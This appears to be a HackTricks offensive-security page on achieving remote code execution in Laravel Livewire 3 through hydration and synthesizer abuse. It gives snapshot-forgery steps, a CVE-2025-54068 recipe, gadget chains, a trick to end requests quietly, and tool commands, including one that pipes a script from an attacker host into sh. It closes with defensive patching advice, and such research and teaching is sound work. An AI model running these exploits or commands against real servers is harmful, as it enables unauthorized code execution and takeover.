Laravel Livewire Hydration & Synthesizer Abuse
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Resumo da máquina de estado do Livewire
Os componentes Livewire 3 trocam seu estado através de snapshots que contêm data, memo, e uma checksum. Todo POST para /livewire/update reidrata o snapshot JSON no servidor e executa os calls/updates enfileirados.
class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}
static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}
Qualquer pessoa que possua APP_KEY (usada para derivar $hashKey) pode, portanto, forjar snapshots arbitrários recomputando o HMAC.
Propriedades complexas são codificadas como tuplas sintéticas detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tupla é [value, {"s":"<key>", ...meta}]. O núcleo de hidratação simplesmente delega cada tupla ao synth selecionado em HandleComponents::$propertySynthesizers e faz recursão sobre os filhos:
protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}
This recursive design makes Livewire a motor genérico de instanciação de objetos once an attacker controls either the tuple metadata or any nested tuple processed during recursion.
Synthesizers that grant gadget primitives
| Synthesizer | Attacker-controlled behaviour |
|---|---|
CollectionSynth (clctn) | Instancia new $meta['class']($value) após rehidratar cada elemento filho. Qualquer classe com um construtor que aceite array pode ser criada, e cada item pode ser ele próprio uma tupla sintética. |
FormObjectSynth (form) | Chama new $meta['class']($component, $path), depois atribui cada propriedade pública a partir de filhos controlados pelo atacante via $hydrateChild. Construtores que aceitam dois parâmetros fracamente tipados (ou argumentos padrão) são suficientes para alcançar propriedades públicas arbitrárias. |
ModelSynth (mdl) | When key is absent from meta it executes return new $class; allowing zero-argument instantiation of any class under attacker control. |
Because synths invoke $hydrateChild on every nested element, arbitrary gadget graphs can be built by stacking tuples recursively.
Forging snapshots when APP_KEY is known
- Capture a legitimate
/livewire/updaterequest and decodecomponents[0].snapshot. - Inject nested tuples that point to gadget classes and recompute
checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY). - Re-encode the snapshot, keep
_token/memountouched, and replay the request.
A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.
From function calls to full RCE
Leveraging Livewire’s instantiation primitives, Synacktiv adapted phpggc’s Laravel/RCE4 chain so that hydration boots an object whose public Queueable state triggers deserialization:
- Queueable trait – any object using
Illuminate\Bus\Queueableexposes public$chainedand executesunserialize(array_shift($this->chained))indispatchNextJobInChain(). - BroadcastEvent wrapper –
Illuminate\Broadcasting\BroadcastEvent(ShouldQueue) is instantiated viaCollectionSynth/FormObjectSynthwith public$chainedpopulated. - phpggc Laravel/RCE4Adapted – the serialized blob stored in
$chained[0]buildsPendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed.Signed::__invoke()finally callscall_user_func_array($closure, $args)enablingsystem($cmd). - Stealth termination – by handing a second
FnStreamcallable such as[new Laravel\Prompts\Terminal(), 'exit'], the request ends withexit()instead of a noisy exception, keeping the HTTP response clean.
Automating snapshot forgery
synacktiv/laravel-crypto-killer agora inclui um modo livewire que integra tudo:
./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"
A ferramenta analisa o snapshot capturado, injeta os gadget tuples, recalcula o checksum e imprime um payload pronto para envio /livewire/update.
CVE-2025-54068 – RCE sem APP_KEY
Segundo o aviso do fornecedor, a vulnerabilidade afeta o Livewire v3 (>= 3.0.0-beta.1 e < 3.6.3) e é exclusiva do v3.
updates são mesclados no estado do componente após o checksum do snapshot ser validado. Se uma propriedade dentro do snapshot é (ou se torna) um synthetic tuple, o Livewire reutiliza seus metadados enquanto hidrata o valor de update controlado pelo atacante:
protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}
Exploit recipe:
- Find a Livewire component with an untyped public property (e.g.,
public $count;). - Send an update that sets that property to
[]. The next snapshot now stores it as[[], {"s": "arr"}].
A minimal type-juggling flow looks like this:
POST /livewire/update
...
"updates": {"count": []}
Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:
"count": [[], {"s": "arr"}]
- Craft another
updatespayload where that property contains a deeply nested array embedding tuples such as[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]. - During recursion,
hydrate()evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed. - Reuse the same
CollectionSynth/FormObjectSynthprimitives to instantiate a Queueable gadget whose$chained[0]contains the phpggc payload. Livewire processes the forged updates, invokesdispatchNextJobInChain(), and reachessystem(<cmd>)without knowingAPP_KEY.
Key reasons this works:
updatesare not covered by the snapshot checksum.getMetaForPath()trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.- Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.
Livepyre – exploração ponta a ponta
Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:
- Fingerprints the deployed Livewire version by parsing
<script src="/livewire/livewire.js?id=HASH">and mapping the hash to vulnerable releases. - Collects baseline snapshots by replaying benign actions and extracting
components[].snapshot. - Generates either an
updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain. - If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.
Typical usage:
# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id
# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"
-c/--check executa uma sondagem não destrutiva, -F ignora o controle de versão, -H e -P adicionam cabeçalhos ou proxies personalizados, e --function/--param personalizam a função php invocada pelo gadget chain.
Considerações defensivas
- Atualize para builds do Livewire corrigidas (>= 3.6.4 segundo o boletim do fornecedor) e aplique o patch do fornecedor para CVE-2025-54068.
- Evite propriedades públicas fracamente tipadas em componentes Livewire; tipos escalares explícitos impedem que valores de propriedade sejam convertidos em arrays/tuplas.
- Registre apenas os synthesizers que realmente precisa e trate metadados controlados pelo usuário (
$meta['class']) como não confiáveis. - Rejeite atualizações que mudem o tipo JSON de uma propriedade (por exemplo, scalar -> array), a menos que explicitamente permitido, e re-derive os metadados de synth em vez de reutilizar tuplas obsoletas.
- Altere
APP_KEYimediatamente após qualquer divulgação, pois ela permite a falsificação offline de snapshots independentemente de quão corrigida esteja a base de código.
References
- Synacktiv – Livewire: Remote Command Execution via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


